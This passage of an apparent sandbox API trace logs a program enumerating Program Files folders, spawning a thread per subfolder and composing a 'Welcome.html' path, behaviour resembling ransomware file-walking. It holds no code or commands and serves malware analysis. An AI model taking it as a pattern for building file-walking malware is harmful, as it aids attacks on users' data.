returned="C:\\Program Files (x86)\\Java\\jre7\\" [0046.040] wcscat (in: _Dest=0x445d10, _Source="Welcome.html" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0046.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0046.041] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0046.041] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.041] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0046.041] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b40) returned 1 [0046.041] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b90) returned 1 Thread: id = 134 os_tid = 0x834 [0046.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446770 [0046.042] wcscpy (in: _Dest=0x446770, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0046.042] wcscat (in: _Dest=0x446770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\" [0046.042] wcscat (in: _Dest=0x446770, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*" [0046.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.042] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.043] wcscmp (_String1=".", _String2=".") returned 0 [0046.043] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.043] wcscmp (_String1="..", _String2=".") returned 1 [0046.043] wcscmp (_String1="..", _String2="..") returned 0 [0046.043] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0046.043] wcscmp (_String1="10", _String2=".") returned 1 [0046.043] wcscmp (_String1="10", _String2="..") returned 1 [0046.043] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4467f8 [0046.043] wcscpy (in: _Dest=0x4467f8, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0046.043] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\" [0046.043] wcscat (in: _Dest=0x4467f8, _Source="10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0046.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0046.044] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0046.044] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0046.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446770) returned 1 [0046.044] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd98) returned 1 Thread: id = 135 os_tid = 0x83c [0046.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0046.045] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0046.045] wcscat (in: _Dest=0x420fc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\" [0046.045] wcscat (in: _Dest=0x420fc8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*" [0046.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.045] wcscmp (_String1=".", _String2=".") returned 0 [0046.045] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.045] wcscmp (_String1="..", _String2=".") returned 1 [0046.045] wcscmp (_String1="..", _String2="..") returned 0 [0046.045] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0046.045] wcscmp (_String1="1033", _String2=".") returned 1 [0046.046] wcscmp (_String1="1033", _String2="..") returned 1 [0046.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418b18 [0046.046] wcscpy (in: _Dest=0x418b18, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0046.046] wcscat (in: _Dest=0x418b18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\" [0046.046] wcscat (in: _Dest=0x418b18, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0046.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="AUTHZAX.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="AUTHZAX.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67b88000, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x21b02690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67b88000, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xdf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0046.047] wcscmp (_String1="BCSLaunch.dll", _String2=".") returned 1 [0046.047] wcscmp (_String1="BCSLaunch.dll", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8cd1e00, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd2e133c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8cd1e00, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="DGRMLNCH.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="DGRMLNCH.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7c7400, ftCreationTime.dwHighDateTime=0x1cbc9fa, ftLastAccessTime.dwLowDateTime=0xadbb9ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb7c7400, ftLastWriteTime.dwHighDateTime=0x1cbc9fa, nFileSizeHigh=0x0, nFileSizeLow=0x406590, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="GROOVEEX.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="GROOVEEX.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a783200, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xae0eeec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5a783200, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x2ff60, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="IEAWSDC.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="IEAWSDC.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930ea300, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadda9080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x930ea300, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x62978, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="INLAUNCH.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="INLAUNCH.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4e2500, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x21ccb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf4e2500, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x13180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="MSOHEV.DLL", _String2=".") returned 1 [0046.047] wcscmp (_String1="MSOHEV.DLL", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994dc00, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x21cf1870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2994dc00, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x11580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="MSOHTMED.EXE", _String2=".") returned 1 [0046.047] wcscmp (_String1="MSOHTMED.EXE", _String2="..") returned 1 [0046.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae1d400, ftCreationTime.dwHighDateTime=0x1cb7015, ftLastAccessTime.dwLowDateTime=0xadc06160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ae1d400, ftLastWriteTime.dwHighDateTime=0x1cb7015, nFileSizeHigh=0x0, nFileSizeLow=0x14d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0046.047] wcscmp (_String1="NAME.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="NAME.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deba300, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2deba300, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0046.048] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703f00, ftCreationTime.dwHighDateTime=0x1ca9139, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x703f00, ftLastWriteTime.dwHighDateTime=0x1ca9139, nFileSizeHigh=0x0, nFileSizeLow=0x21180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="NAMEEXT.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="NAMEEXT.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf08900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcbf08900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="NPAUTHZ.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="NPAUTHZ.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x59e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="NPSPWRAP.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="NPSPWRAP.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x597a6090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="oisctrl.dll", _String2=".") returned 1 [0046.048] wcscmp (_String1="oisctrl.dll", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19db00, ftCreationTime.dwHighDateTime=0x1cb701d, ftLastAccessTime.dwLowDateTime=0xade41600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19db00, ftLastWriteTime.dwHighDateTime=0x1cb701d, nFileSizeHigh=0x0, nFileSizeLow=0x3e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="OLKFSTUB.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="OLKFSTUB.DLL", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xad14fe60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x9d590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0046.048] wcscmp (_String1="ONBttnIE.dll", _String2=".") returned 1 [0046.048] wcscmp (_String1="ONBttnIE.dll", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xadeffce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x79590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0046.048] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2=".") returned 1 [0046.048] wcscmp (_String1="ONBttnIELinkedNotes.dll", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322e700, ftCreationTime.dwHighDateTime=0x1cbae3c, ftLastAccessTime.dwLowDateTime=0xae1d3700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9322e700, ftLastWriteTime.dwHighDateTime=0x1cbae3c, nFileSizeHigh=0x0, nFileSizeLow=0xe0db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPC.dll", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0046.048] wcscmp (_String1="OneNoteSyncPC.dll", _String2=".") returned 1 [0046.048] wcscmp (_String1="OneNoteSyncPC.dll", _String2="..") returned 1 [0046.048] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b4fa00, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadf25e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa9b4fa00, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0xf9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0046.048] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2=".") returned 1 [0046.048] wcscmp (_String1="ONLNTCOMLIB.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x20d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="OWSSUPP.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="OWSSUPP.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba4fb00, ftCreationTime.dwHighDateTime=0x1cab7d7, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba4fb00, ftLastWriteTime.dwHighDateTime=0x1cab7d7, nFileSizeHigh=0x0, nFileSizeLow=0x5ef90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="PPSLAX.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="PPSLAX.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x16f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="STSCOPY.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="STSCOPY.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="STSUPLD.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="STSUPLD.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd688b020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x22568, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVB.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="UMLVB.DLL", 